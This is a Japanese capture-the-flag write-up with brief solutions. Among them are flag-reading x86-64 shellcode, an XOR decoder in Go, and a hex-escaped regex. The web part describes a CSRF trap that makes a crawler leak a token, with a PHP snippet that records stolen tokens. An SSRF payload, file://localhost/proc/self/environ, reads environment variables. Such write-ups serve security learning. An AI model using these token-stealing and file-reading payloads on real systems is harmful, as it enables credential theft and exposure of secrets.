reversing
assemble
わからんっていいながら assembly を書いた。
open -> read -> write すればよい
flag.txt
を反転させるには、
https://gchq.github.io/CyberChef/
で、
すれば簡単です。
mov rbp, rsp
mov RDX, 0x7478742e67616c66
push RDX
mov RAX, 2
mov RDI, RSP
mov RSI, 0
mov RDX, 0
syscall
mov RDI, RAX
mov RAX, 0
mov RDX, 0x0000000000000000
push RDX
mov RSI, RSP
mov RDX, 32
syscall
mov RAX, 1
mov RDI, 1
mov RSI, RSP
mov RDX, 32
syscall
syscall のどのレジスタに入れるかは↓を見た。
cha-ll-enge
LLVM-IR
メインのロジック部分をぱっと見 xor があったので、定数の謎の数値配列を xor で出せばよい。
package main
import "fmt"
func main() {
a := []int{119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7}
for i := 0; i < len(a)-1; i++ {
fmt.Printf("%d,", a[i]^a[i+1])
}
}
misc
getRank
parseInt で基数の指定がないので、
0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF ...
みたいなのをpayloadで post すればよい。
clamre
なんとなく正規表現っぽい。
asciiコードが見られるので、直すと ctf ... になっているので直す。
\3
みたいなのは、正規表現のキャプチャかなと思ったので、先頭から順にマッチしているリストを用意して、求めた。
0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
web
wooorker
CSRF ですね。
(js ファイルを眺めてなくて、穴がないなあとずっと考えていた)
get parameter に next を設定するとクローラーが踏んでくれるので適当にトラップしたサイトで get parameter をはかせれば勝ちです。
6/15の16時ごろ、crawlerが遅くて来なかったが、discordで改良した報告の後は動いていた。
wooorker2
wooorker との diff を見たところ、 get でtokenが埋め込まれていたやつから、hashに変わったいた。
hash から取得して、getにつけなおして、wooorkerで使ったurlに送りなおせばよいですね。
<?php
file_put_contents("./nyaan.txt",$_GET['token']);
ssrforlfi
file protocolってリモート指定できるのを知らなかった。
file://localhost/proc/self/environ